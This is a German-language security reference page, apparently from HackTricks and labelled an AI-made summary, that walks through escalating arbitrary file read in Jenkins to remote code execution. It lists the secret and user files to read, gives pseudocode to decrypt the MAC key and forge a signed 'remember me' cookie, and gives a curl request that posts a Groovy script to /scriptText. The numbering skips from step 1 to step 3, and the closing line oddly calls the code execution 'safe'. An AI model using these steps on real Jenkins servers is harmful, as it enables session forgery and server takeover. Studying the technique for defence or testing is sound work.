Jenkins Arbitrary File Read to RCE via "Remember Me"

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies ausgenutzt wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:

Angriffsvoraussetzungen

  • Funktionsanforderung: "Remember me" muss aktiviert sein (Standardeinstellung).
  • Zugriffslevel: Angreifer benötigt Gesamt-/Lese-Berechtigungen.
  • Geheimer Zugriff: Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.

Detaillierter Ausbeutungsprozess

Schritt 1: Datensammlung

Benutzerinformationsabruf

  • Greifen Sie auf die Benutzerkonfiguration und Geheimnisse von $JENKINS_HOME/users/*.xml für jeden Benutzer zu, um Folgendes zu sammeln:
  • Benutzername
  • Benutzersamen
  • Zeitstempel
  • Passworthash

Geheimschlüsselextraktion

  • Extrahieren Sie kryptografische Schlüssel, die zum Signieren des Cookies verwendet werden:
  • Geheimschlüssel: $JENKINS_HOME/secret.key
  • Master-Schlüssel: $JENKINS_HOME/secrets/master.key
  • MAC-Schlüsseldatei: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Token-Vorbereitung

  • Berechnen Sie die Token-Ablaufzeit:
javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Fügt eine Stunde zur aktuellen Zeit hinzu
  • Daten für das Token verketten:
javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

MAC-Schlüsselentschlüsselung

  • Entschlüsseln Sie die MAC-Schlüsseldatei:
javascript
key = toAes128Key(masterKey)  // Konvertieren Sie den Master-Schlüssel in das AES128-Schlüssel-Format
decrypted = AES.decrypt(macFile, key)  // Entschlüsseln Sie die .mac-Datei
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Signaturberechnung

  • Berechnen Sie HMAC SHA256:
javascript
mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel
tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in eine hexadezimale Zeichenfolge

Cookie-Codierung

  • Generieren Sie das endgültige Cookie:
javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64-codieren Sie die Cookie-Daten

Schritt 3: Codeausführung

Sitzungsauthentifizierung

  • Abrufen von CSRF- und Sitzungstoken:
  • Stellen Sie eine Anfrage an /crumbIssuer/api/json, um Jenkins-Crumb zu erhalten.
  • Erfassen Sie JSESSIONID aus der Antwort, die zusammen mit dem Remember-Me-Cookie verwendet wird.

Befehlsausführungsanfrage

  • Senden Sie eine POST-Anfrage mit Groovy-Skript:
bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.

Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks